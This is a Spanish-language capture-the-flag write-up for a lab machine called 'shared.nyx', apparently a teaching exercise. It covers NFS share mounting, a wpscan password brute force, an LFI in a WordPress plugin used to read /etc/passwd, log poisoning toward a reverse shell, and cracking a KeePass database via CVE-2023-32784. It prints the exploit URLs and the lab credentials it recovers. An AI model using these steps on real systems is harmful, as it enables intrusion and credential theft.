Hacemos el escaneo con nmap: {{pasted_image_20240124095627.png|}} Al estar abierto el puerto 111, vemos 3 monturas en el sistema: {{pasted_image_20240124095738.png|}} Nos traemos cada una de estas monturas con el comando mount: mount 10.10.10.5:/shared/tmp/ /mnt/montura/ mount 10.10.10.5:/shared/j4ckie/ /mnt/montura_condor/ mount 10.10.10.5:/shared/condor/ /mnt/montura/ {{pasted_image_20240124100215.png|}} {{pasted_image_20240124100337.png|}} {{pasted_image_20240124100408.png|}} En esta parte no encontramos nada, pero si hacemos fuzzing web, nos encontramos con un wordpress: {{pasted_image_20240124100732.png|}} Al ponerlo en el navegador nos da un error, pero sí nos reporta un dominio shared.nyx: {{pasted_image_20240124100803.png|}} Lo añadimos al fichero /hosts: {{pasted_image_20240124100837.png|}} Y nos funciona: {{pasted_image_20240124100852.png|}} Tras hacer una enumeración agresiva de plugins con wpscan, vemos un plugin algo desactualizado: wpscan --url http://shared.nyx/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt {{pasted_image_20240124101512.png|}} El cual vemos que en principio es vulnerable a un LFI: {{pasted_image_20240124101527.png|}} Y dentro de este primer enlace nos encontramos con unas instrucciones de cómo explotar el LFI: {{pasted_image_20240124101747.png|}} Lo probamos y funciona: http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd {{pasted_image_20240124101758.png|}} Probamos la ruta para explotar un log poisoning y funciona: http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log {{pasted_image_20240124102917.png|}} Lanzamos un comando con curl, por ejemplo whoami: curl -s -X GET 'http://shared.nyx/wordpress/' -H "User-Agent: " Y dentro de los logs vemos que se ha ejecutado el comando: {{pasted_image_20240124103808.png|}} Nos creamos una reverse shell y la compartimos con la máquina víctima: {{pasted_image_20240124104315.png|}} curl -s -X GET 'http://shared.nyx/wordpress/' -H "User-Agent: " curl -s -X GET 'http://shared.nyx/wordpress/' -H "User-Agent: " curl -s -X GET 'http://shared.nyx/wordpress/' -H "User-Agent: " Y estamos dentro: {{pasted_image_20240124104511.png|}} Y dentro del directorio de wordpress, tenemos el archivo de wp.config.php, donde se guardan credenciales de bases de datos: {{pasted_image_20240124110024.png|}} {{pasted_image_20240124110040.png|}} wordpress:R9o17ONkbFk2BrRHG7zY Accedemos a la base de datos: mysql -u wordpress -pR9o17ONkbFk2BrRHG7z {{pasted_image_20240124110557.png|}} Y tenemos una tabla de wp-users donde tenemos credenciales: admin:$P$BEFipQ4xz8hMCnY7kD7lwLTfrDENmN/ {{pasted_image_20240124110652.png|}} Pero por aquí no viene la intrusión, aunque si vamos al directorio /var/www/html/wordpress/backups nos encontramos con un archivo .zip, que debemos descomprimir y nos dará una base de datos de keepass: unzip cp-sharedbbdd.zip {{pasted_image_20240125124408.png|}} Nos compartimos esta base de datos y el archivo .tmp a nuestra máquina atacante: {{pasted_image_20240125124914.png|}} Al tener el keepass y el .dmp, podemos explotar una vulnerabilidad, la CVE-2023-32784, donde podemos obtener la PoC del siguiente repositorio de github: https://github.com/z-jxy/keepass_dump {{pasted_image_20240125125649.png|}} Y ejecutamos el siguiente comando: python3 keepass_dump.py -f KeePass.DMP --skip --debug {{pasted_image_20240125125936.png|}} La contraseña sería Shared123%, por lo que abrimos la base de datos: {{pasted_image_20240125130140.png|}} Y dentro de esta base de datos obtenemos las siguientes credenciales: condor:OjNIhkKb2tUnmChoFnJI j4ckie:p8Ucx8ab2N8AIfmP83E8 jackondor:7iwylOTHddtPakkgTJV9 La contraseña de jackondor vemos que funciona: {{pasted_image_20240125130336.png|}}